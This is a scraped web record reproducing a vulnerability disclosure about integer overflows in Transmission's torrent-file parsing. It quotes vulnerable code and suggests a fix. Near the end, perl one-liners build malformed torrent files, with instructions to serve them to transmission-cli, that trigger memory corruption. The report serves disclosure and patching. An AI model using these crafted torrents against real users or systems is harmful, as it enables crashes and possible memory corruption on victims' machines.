{“lastseen”:”2025-10-20T15:47:55″,”description”:”Torrent……………………………………………”,”published”:”2025-10-20T00:00:00″,”modified”:”2025-10-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Transmission Torrent Parsing Integer Overflows”,”source”:””,”references”:””,”id”:”PACKETSTORM:210644″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new\/tr_new0 allocation wrappers don’t handle overflow.\\n \\n #define tr_new(struct_type, n_structs) \\\\\\n ((struct_type *) tr_malloc (sizeof (struct_type) * ((size_t)(n_structs))))\\n \\n #define tr_new0(struct_type, n_structs) \\\\\\n ((struct_type *) tr_malloc0 (sizeof (struct_type) * ((size_t)(n_structs))))\\n \\n #define tr_renew(struct_type, mem, n_structs) \\\\\\n ((struct_type *) tr_realloc ((mem), sizeof (struct_type) * ((size_t)(n_structs))))\\n \\n Here is one example when parsing the files dictionary:\\n \\n static const char*\\n parseFiles (tr_info * inf, tr_variant * files, const tr_variant * length)\\n {\\n int64_t len;\\n …\\n inf-\\u003eisFolder = true;\\n inf-\\u003efileCount = tr_variantListSize (files);\\n inf-\\u003efiles = tr_new0 (tr_file, inf-\\u003efileCount); \\u003c–\\n \\n Here fileCount is just the number of elements in a list, you can make a list containing empty dictionaries like this \\”ldededededede…e\\”.\\n \\n Here are a few more:\\n \\n static const char*\\n getannounce (tr_info * inf, tr_variant * meta)\\n {\\n …\\n for (i=0; i\\u003cnumTiers; i++)\\n n += tr_variantListSize (tr_variantListChild (tiers, i));\\n \\n trackers = tr_new0 (tr_tracker_info, n); \\u003c– \\n \\n static void\\n geturllist (tr_info * inf, tr_variant * meta)\\n {\\n …\\n const int n = tr_variantListSize (urls);\\n \\n inf-\\u003ewebseedCount = 0; \\n inf-\\u003ewebseeds = tr_new0 (char\\\\*, n); \\u003c– \\n \\n static const char*\\n tr_metainfoParseImpl (const tr_session * session,\\n tr_info * inf,\\n bool * hasInfoDict,\\n size_t * infoDictLength,\\n const tr_variant * meta_in)\\n …\\n inf-\\u003epieceCount = len \/ SHA_DIGEST_LENGTH;\\n inf-\\u003epieces = tr_new0 (tr_piece, inf-\\u003epieceCount); \\u003c–\\n \\n Because these are macros, I’m not sure how you would prefer to fix these. If you want to keep the macros, you could write them like this:\\n \\n #define tr_new(struct_type, n_structs) \\\\\\n ((struct_type*)((SIZE_MAX \/ sizeof(struct_type)) \\u003e n_structs) ? NULL : tr_malloc(sizeof(struct_type) * (size_t)(n_structs)))\\n \\n They’re getting a little bit unwieldy though, and now evaluate n_structs more than once, so maybe inline static functions would be better.\\n \\n Another bug, containerReserve() doesn’t check for integer overflow or allocation failure:\\n \\n static void\\n containerReserve (tr_variant * v, size_t count)\\n {\\n …\\n v-\\u003eval.l.vals = tr_renew (tr_variant, v-\\u003eval.l.vals, n); \\u003c—\\n v-\\u003eval.l.alloc = n;\\n …\\n }\\n \\n Another bug is that tr_sha1 uses signed integers for length, rather than size_t:\\n \\n bool\\n tr_sha1 (uint8_t * hash,\\n const void * data1,\\n int data1_length,\\n …)\\n \\n This can cause memory corruption with very large torrents.\\n \\n Here are some simple testcase for 32bit systems:\\n \\n $ perl -e ‘print \\”d4:infod4:name4:name12:piece lengthi1e5:filesl\\”,\\”d4:pathl4:filee6:lengthi1ee\\”,\\”de\\”x107374183,\\”e\\”,\\”6:pieces0:ee\\”‘ \\u003e overflow.torrent\\n $ perl -e ‘print \\”d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee6:pieces20:AAAAAAAAAAAAAAAAAAAAe13:announce-listl\\”,\\”l7:udp:\/\/0\\”,\\”0:\\”x134217728,\\”eee\\”‘ \\u003e overflow.torrent\\n \\n This would make a torrent that’s a 100MB or so, but would compress really well over gzip Content-Encoding.\\n \\n Here is a testcase for a 64bit system, note that because of another bug in tr_loadFile you can’t open very large torrents with transmission-cli (they get truncated), but you can just pass a http link to it instead:\\n \\n $ perl -e ‘print \\”d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee\\”,\\”6:pieces2684354560:\\”,\\”A\\”x2684354560,\\”ee\\”‘ \\u003e test.torrent\\n $ python -m SimpleHTTPServer 8080 \\u0026\\n $ transmission-cli http:\/\/localhost:8080\/test.torrent\\n \\n The transfer can be compressed to make it a manageable size, it’s about 2G otherwise.\\n \\n This bug is subject to a 90 day disclosure deadline. After 90 days elapse\\n or a patch has been made broadly available, the bug report will become\\n visible to the public.\\n \\n \\n Credit: Tavis Ormandy”,”sourceHref”:”https:\/\/packetstorm.news\/download\/210644″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/210644\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-20T15:47:55″,”description”:”Torrent……………………………………………”,”published”:”2025-10-20T00:00:00″,”modified”:”2025-10-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Transmission Torrent Parsing Integer Overflows”,”source”:””,”references”:””,”id”:”PACKETSTORM:210644″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new\/tr_new0 allocation…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-22401","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n